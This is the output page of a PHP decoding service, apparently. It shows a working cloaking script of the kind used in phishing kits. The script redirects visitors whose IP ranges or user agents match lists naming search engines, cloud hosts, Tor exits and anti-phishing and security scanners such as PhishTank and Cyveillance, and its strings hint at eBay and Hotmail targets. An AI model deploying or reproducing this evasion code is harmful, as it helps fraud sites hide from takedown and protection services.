Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $id = $_SERVER['REMOTE_ADDR']; $ips = array( "^94.26.*.*", "^95.85.*.*", "^72.5..

Decoded Output download

<?php 
 
$id = $_SERVER['REMOTE_ADDR']; 
$ips = array( 
"^94.26.*.*", "^95.85.*.*", "^72.52.96.*", "^212.8.79.*", "^62.99.77.*", "^83.31.118.*", "^91.231.*.*", "^206.207.*.*", "^91.231.212.*", "^62.99.77.*", "^198.41.243.*", "^162.158.*.*", "^162.158.7.*", "^162.158.72.*", "^173.245.55.*", "^108.162.246.*", "^162.158.95.*", "^108.162.215.*", "^95.108.194.*", "^141.101.104.*", "^93.54.82.*", "^69.164.145.*", "^194.153.113.*", "^178.43.117.*", "^62.141.65.*", "^83.31.69.*", "^107.178.195.*", "^149.20.54.*", "^85.9.7.*", "^87.106.251.*", "^107.178.194.*", "^124.66.185.*", "^133.11.204.*", "^185.2.138.*", "^188.165.83.*", "^78.148.13.*", "^192.232.213.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^176.195.231.*", "^206.253.226.*", "^107.20.181.*", "^188.244.39.*", "^124.66.185.*", "^38.74.138.*", "^124.66.185.*", "^38.74.138.*", "^206.253.226.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^85.9.7.*", "^37.140.188.*", "^195.128.227.*", "^38.74.138.*", "^107.20.181.*", "^104.131.223.*", "^46.4.120.*", "^107.178.194.*", "^198.60.236.*", "^217.74.103.*", "^92.103.69.*", "^217.74.103.*", "^66.211.160.86*", "^46.244.*.*", "^131.*.*.*", "^157.*.*.*", "^202.*.*.*", "^204.*.*.*", "^207.*.*.*", "^213.*.*.*", "^219.*.*.*", "^63.*.*.*", "^64.*.*.*", "^65.*.*.*", "^68.*.*.*", "^64.*.*.*", "^64.233.160.*", "^64.233.191.*", "^64.233.191.255*",  "^66.102.*.*", "^66.249.*.*", "^72.14.*.*", "^74.125.*.*", "^209.85.*.*", "^216.239.*.*", "^64.4.*.*", "^65.52.*.*", "^131.253.*.*", "^157.54.*.*", "^207.46.*.*", "^207.68.*.*", "^8.12.*.*", "^66.196.*.*", "^66.228.*.*", "^67.195.*.*", "^68.142.*.*", "^72.30.*.*", "^74.6.*.*", "^98.136.*.*", "^202.160.*.*", "^209.191.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", 
); 
foreach($ips as $ip) { 
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){ 
			exit(header('Location: https://www.mediapart.fr/')); 
			$ip = getenv("REMOTE_ADDR"); 
          } 
     } 
	  
$dp =  strtolower($_SERVER['HTTP_USER_AGENT']); 
$blocked_words = array( 
     "bot", 
     "above", 
     "google", 
     "softlayer", 
	 "amazonaws", 
	 "cyveillance", 
	 "phishtank", 
	 "dreamhost", 
	 "netpilot", 
	 "calyxinstitute", 
	 "tor-exit", 
	 "apache-httpclient", 
	 "lssrocketcrawler", 
	 "crawler", 
	 "urlredirectresolver", 
	 "jetbrains", 
	 "spam", 
	 "windows 95", 
	 "windows 98", 
	 "acunetix", 
	 "netsparker", 
	 "007ac9", 
	 "008", 
	 "192.comagent", 
	 "200pleasebot", 
	 "360spider", 
	 "4seohuntbot", 
	 "50.nu", 
	 "a6-indexer", 
	 "admantx", 
	 "amznkassocbot", 
	 "aboundexbot", 
	 "aboutusbot", 
	 "abrave spider", 
	 "accelobot", 
	 "acoonbot", 
	 "addthis.com", 
	 "adsbot-google", 
	 "ahrefsbot", 
	 "alexabot", 
	 "amagit.com", 
	 "analytics", 
	 "antbot", 
	 "apercite", 
	 "aportworm", 
	 "EBAY", 
	 "CL0NA", 
	 "jabber", 
	 "ebay", 
	 "arabot", 
	 "hotmail!", 
	 "msn!", 
	 "outlook!", 
	 "outlook", 
	 "msn", 
	 "hotmail", 
); 
 
foreach($blocked_words as $word2) { 
    if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == "	") { 
		exit(header('Location: https://www.mediapart.fr/')); 
    }   
} 
?>

Did this file decode correctly?

Original Code

<?php

$id = $_SERVER['REMOTE_ADDR'];
$ips = array(
"^94.26.*.*", "^95.85.*.*", "^72.52.96.*", "^212.8.79.*", "^62.99.77.*", "^83.31.118.*", "^91.231.*.*", "^206.207.*.*", "^91.231.212.*", "^62.99.77.*", "^198.41.243.*", "^162.158.*.*", "^162.158.7.*", "^162.158.72.*", "^173.245.55.*", "^108.162.246.*", "^162.158.95.*", "^108.162.215.*", "^95.108.194.*", "^141.101.104.*", "^93.54.82.*", "^69.164.145.*", "^194.153.113.*", "^178.43.117.*", "^62.141.65.*", "^83.31.69.*", "^107.178.195.*", "^149.20.54.*", "^85.9.7.*", "^87.106.251.*", "^107.178.194.*", "^124.66.185.*", "^133.11.204.*", "^185.2.138.*", "^188.165.83.*", "^78.148.13.*", "^192.232.213.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^176.195.231.*", "^206.253.226.*", "^107.20.181.*", "^188.244.39.*", "^124.66.185.*", "^38.74.138.*", "^124.66.185.*", "^38.74.138.*", "^206.253.226.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^85.9.7.*", "^37.140.188.*", "^195.128.227.*", "^38.74.138.*", "^107.20.181.*", "^104.131.223.*", "^46.4.120.*", "^107.178.194.*", "^198.60.236.*", "^217.74.103.*", "^92.103.69.*", "^217.74.103.*", "^66.211.160.86*", "^46.244.*.*", "^131.*.*.*", "^157.*.*.*", "^202.*.*.*", "^204.*.*.*", "^207.*.*.*", "^213.*.*.*", "^219.*.*.*", "^63.*.*.*", "^64.*.*.*", "^65.*.*.*", "^68.*.*.*", "^64.*.*.*", "^64.233.160.*", "^64.233.191.*", "^64.233.191.255*",  "^66.102.*.*", "^66.249.*.*", "^72.14.*.*", "^74.125.*.*", "^209.85.*.*", "^216.239.*.*", "^64.4.*.*", "^65.52.*.*", "^131.253.*.*", "^157.54.*.*", "^207.46.*.*", "^207.68.*.*", "^8.12.*.*", "^66.196.*.*", "^66.228.*.*", "^67.195.*.*", "^68.142.*.*", "^72.30.*.*", "^74.6.*.*", "^98.136.*.*", "^202.160.*.*", "^209.191.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*",
);
foreach($ips as $ip) {
          if(preg_match('/' . $ip . '/',$_SERVER['REMOTE_ADDR'])){
			exit(header('Location: https://www.mediapart.fr/'));
			$ip = getenv("REMOTE_ADDR");
          }
     }
	 
$dp =  strtolower($_SERVER['HTTP_USER_AGENT']);
$blocked_words = array(
     "bot",
     "above",
     "google",
     "softlayer",
	 "amazonaws",
	 "cyveillance",
	 "phishtank",
	 "dreamhost",
	 "netpilot",
	 "calyxinstitute",
	 "tor-exit",
	 "apache-httpclient",
	 "lssrocketcrawler",
	 "crawler",
	 "urlredirectresolver",
	 "jetbrains",
	 "spam",
	 "windows 95",
	 "windows 98",
	 "acunetix",
	 "netsparker",
	 "007ac9",
	 "008",
	 "192.comagent",
	 "200pleasebot",
	 "360spider",
	 "4seohuntbot",
	 "50.nu",
	 "a6-indexer",
	 "admantx",
	 "amznkassocbot",
	 "aboundexbot",
	 "aboutusbot",
	 "abrave spider",
	 "accelobot",
	 "acoonbot",
	 "addthis.com",
	 "adsbot-google",
	 "ahrefsbot",
	 "alexabot",
	 "amagit.com",
	 "analytics",
	 "antbot",
	 "apercite",
	 "aportworm",
	 "EBAY",
	 "CL0NA",
	 "jabber",
	 "ebay",
	 "arabot",
	 "hotmail!",
	 "msn!",
	 "outlook!",
	 "outlook",
	 "msn",
	 "hotmail",
);

foreach($blocked_words as $word2) {
    if (substr_count($dp, strtolower($word2)) > 0 or $dp == "" or $dp == " " or $dp == "	") {
		exit(header('Location: https://www.mediapart.fr/'));
    }  
}
?>

Function Calls

header 1
preg_match 1

Variables

$id None
$ip ^94.26.*.*
$ips [{'key': 0, 'value': '^94.26.*.*'}, {'key': 1, 'value': '^95.85.*.*'}, {'key': 2, 'value': '^72.52.96.*'}, {'key': 3, 'value': '^212.8.79.*'}, {'key': 4, 'value': '^62.99.77.*'}, {'key': 5, 'value': '^83.31.118.*'}, {'key': 6, 'value': '^91.231.*.*'}, {'key': 7, 'value': '^206.207.*.*'}, {'key': 8, 'value': '^91.231.212.*'}, {'key': 9, 'value': '^62.99.77.*'}, {'key': 10, 'value': '^198.41.243.*'}, {'key': 11, 'value': '^162.158.*.*'}, {'key': 12, 'value': '^162.158.7.*'}, {'key': 13, 'value': '^162.158.72.*'}, {'key': 14, 'value': '^173.245.55.*'}, {'key': 15, 'value': '^108.162.246.*'}, {'key': 16, 'value': '^162.158.95.*'}, {'key': 17, 'value': '^108.162.215.*'}, {'key': 18, 'value': '^95.108.194.*'}, {'key': 19, 'value': '^141.101.104.*'}, {'key': 20, 'value': '^93.54.82.*'}, {'key': 21, 'value': '^69.164.145.*'}, {'key': 22, 'value': '^194.153.113.*'}, {'key': 23, 'value': '^178.43.117.*'}, {'key': 24, 'value': '^62.141.65.*'}, {'key': 25, 'value': '^83.31.69.*'}, {'key': 26, 'value': '^107.178.195.*'}, {'key': 27, 'value': '^149.20.54.*'}, {'key': 28, 'value': '^85.9.7.*'}, {'key': 29, 'value': '^87.106.251.*'}, {'key': 30, 'value': '^107.178.194.*'}, {'key': 31, 'value': '^124.66.185.*'}, {'key': 32, 'value': '^133.11.204.*'}, {'key': 33, 'value': '^185.2.138.*'}, {'key': 34, 'value': '^188.165.83.*'}, {'key': 35, 'value': '^78.148.13.*'}, {'key': 36, 'value': '^192.232.213.*'}, {'key': 37, 'value': '^1.234.41.*'}, {'key': 38, 'value': '^124.66.185.*'}, {'key': 39, 'value': '^87.106.251.*'}, {'key': 40, 'value': '^176.195.231.*'}, {'key': 41, 'value': '^206.253.226.*'}, {'key': 42, 'value': '^107.20.181.*'}, {'key': 43, 'value': '^188.244.39.*'}, {'key': 44, 'value': '^124.66.185.*'}, {'key': 45, 'value': '^38.74.138.*'}, {'key': 46, 'value': '^124.66.185.*'}, {'key': 47, 'value': '^38.74.138.*'}, {'key': 48, 'value': '^206.253.226.*'}, {'key': 49, 'value': '^1.234.41.*'}, {'key': 50, 'value': '^124.66.185.*'}, {'key': 51, 'value': '^87.106.251.*'}, {'key': 52, 'value': '^85.9.7.*'}, {'key': 53, 'value': '^37.140.188.*'}, {'key': 54, 'value': '^195.128.227.*'}, {'key': 55, 'value': '^38.74.138.*'}, {'key': 56, 'value': '^107.20.181.*'}, {'key': 57, 'value': '^104.131.223.*'}, {'key': 58, 'value': '^46.4.120.*'}, {'key': 59, 'value': '^107.178.194.*'}, {'key': 60, 'value': '^198.60.236.*'}, {'key': 61, 'value': '^217.74.103.*'}, {'key': 62, 'value': '^92.103.69.*'}, {'key': 63, 'value': '^217.74.103.*'}, {'key': 64, 'value': '^66.211.160.86*'}, {'key': 65, 'value': '^46.244.*.*'}, {'key': 66, 'value': '^131.*.*.*'}, {'key': 67, 'value': '^157.*.*.*'}, {'key': 68, 'value': '^202.*.*.*'}, {'key': 69, 'value': '^204.*.*.*'}, {'key': 70, 'value': '^207.*.*.*'}, {'key': 71, 'value': '^213.*.*.*'}, {'key': 72, 'value': '^219.*.*.*'}, {'key': 73, 'value': '^63.*.*.*'}, {'key': 74, 'value': '^64.*.*.*'}, {'key': 75, 'value': '^65.*.*.*'}, {'key': 76, 'value': '^68.*.*.*'}, {'key': 77, 'value': '^64.*.*.*'}, {'key': 78, 'value': '^64.233.160.*'}, {'key': 79, 'value': '^64.233.191.*'}, {'key': 80, 'value': '^64.233.191.255*'}, {'key': 81, 'value': '^66.102.*.*'}, {'key': 82, 'value': '^66.249.*.*'}, {'key': 83, 'value': '^72.14.*.*'}, {'key': 84, 'value': '^74.125.*.*'}, {'key': 85, 'value': '^209.85.*.*'}, {'key': 86, 'value': '^216.239.*.*'}, {'key': 87, 'value': '^64.4.*.*'}, {'key': 88, 'value': '^65.52.*.*'}, {'key': 89, 'value': '^131.253.*.*'}, {'key': 90, 'value': '^157.54.*.*'}, {'key': 91, 'value': '^207.46.*.*'}, {'key': 92, 'value': '^207.68.*.*'}, {'key': 93, 'value': '^8.12.*.*'}, {'key': 94, 'value': '^66.196.*.*'}, {'key': 95, 'value': '^66.228.*.*'}, {'key': 96, 'value': '^67.195.*.*'}, {'key': 97, 'value': '^68.142.*.*'}, {'key': 98, 'value': '^72.30.*.*'}, {'key': 99, 'value': '^74.6.*.*'}, {'key': 100, 'value': '^98.136.*.*'}, {'key': 101, 'value': '^202.160.*.*'}, {'key': 102, 'value': '^209.191.*.*'}, {'key': 103, 'value': '^66.102.*.*'}, {'key': 104, 'value': '^38.100.*.*'}, {'key': 105, 'value': '^107.170.*.*'}, {'key': 106, 'value': '^149.20.*.*'}, {'key': 107, 'value': '^38.105.*.*'}, {'key': 108, 'value': '^74.125.*.*'}, {'key': 109, 'value': '^66.150.14.*'}, {'key': 110, 'value': '^54.176.*.*'}, {'key': 111, 'value': '^38.100.*.*'}, {'key': 112, 'value': '^184.173.*.*'}, {'key': 113, 'value': '^66.249.*.*'}, {'key': 114, 'value': '^128.242.*.*'}, {'key': 115, 'value': '^72.14.192.*'}, {'key': 116, 'value': '^208.65.144.*'}, {'key': 117, 'value': '^74.125.*.*'}, {'key': 118, 'value': '^209.85.128.*'}, {'key': 119, 'value': '^216.239.32.*'}, {'key': 120, 'value': '^74.125.*.*'}, {'key': 121, 'value': '^207.126.144.*'}, {'key': 122, 'value': '^173.194.*.*'}, {'key': 123, 'value': '^64.233.160.*'}, {'key': 124, 'value': '^72.14.192.*'}, {'key': 125, 'value': '^66.102.*.*'}, {'key': 126, 'value': '^64.18.*.*'}, {'key': 127, 'value': '^194.52.68.*'}, {'key': 128, 'value': '^194.72.238.*'}, {'key': 129, 'value': '^62.116.207.*'}, {'key': 130, 'value': '^212.50.193.*'}, {'key': 131, 'value': '^69.65.*.*'}, {'key': 132, 'value': '^50.7.*.*'}, {'key': 133, 'value': '^131.212.*.*'}, {'key': 134, 'value': '^46.116.*.* '}, {'key': 135, 'value': '^62.90.*.*'}, {'key': 136, 'value': '^89.138.*.*'}, {'key': 137, 'value': '^82.166.*.*'}, {'key': 138, 'value': '^85.64.*.*'}, {'key': 139, 'value': '^85.250.*.*'}, {'key': 140, 'value': '^89.138.*.*'}, {'key': 141, 'value': '^93.172.*.*'}, {'key': 142, 'value': '^109.186.*.*'}, {'key': 143, 'value': '^194.90.*.*'}, {'key': 144, 'value': '^212.29.192.*'}, {'key': 145, 'value': '^212.29.224.*'}, {'key': 146, 'value': '^212.143.*.*'}, {'key': 147, 'value': '^212.150.*.*'}, {'key': 148, 'value': '^212.235.*.*'}, {'key': 149, 'value': '^217.132.*.*'}, {'key': 150, 'value': '^50.97.*.*'}, {'key': 151, 'value': '^217.132.*.*'}, {'key': 152, 'value': '^209.85.*.*'}, {'key': 153, 'value': '^66.205.64.*'}, {'key': 154, 'value': '^204.14.48.*'}, {'key': 155, 'value': '^64.27.2.*'}, {'key': 156, 'value': '^67.15.*.*'}, {'key': 157, 'value': '^202.108.252.*'}, {'key': 158, 'value': '^193.47.80.*'}, {'key': 159, 'value': '^64.62.136.*'}, {'key': 160, 'value': '^66.221.*.*'}, {'key': 161, 'value': '^64.62.175.*'}, {'key': 162, 'value': '^198.54.*.*'}, {'key': 163, 'value': '^192.115.134.*'}, {'key': 164, 'value': '^216.252.167.*'}, {'key': 165, 'value': '^193.253.199.*'}, {'key': 166, 'value': '^69.61.12.*'}, {'key': 167, 'value': '^64.37.103.*'}, {'key': 168, 'value': '^38.144.36.*'}, {'key': 169, 'value': '^64.124.14.*'}, {'key': 170, 'value': '^206.28.72.*'}, {'key': 171, 'value': '^209.73.228.*'}, {'key': 172, 'value': '^158.108.*.*'}, {'key': 173, 'value': '^168.188.*.*'}, {'key': 174, 'value': '^66.207.120.*'}, {'key': 175, 'value': '^167.24.*.*'}, {'key': 176, 'value': '^192.118.48.*'}, {'key': 177, 'value': '^67.209.128.*'}, {'key': 178, 'value': '^12.148.209.*'}, {'key': 179, 'value': '^12.148.196.*'}, {'key': 180, 'value': '^193.220.178.*'}, {'key': 181, 'value': '68.65.53.71'}, {'key': 182, 'value': '^198.25.*.*'}, {'key': 183, 'value': '^64.106.213.*'}]

Stats

MD5 a4f951fe6f09fea51aa0febe36f3a2f9
Eval Count 0
Decode Time 92 ms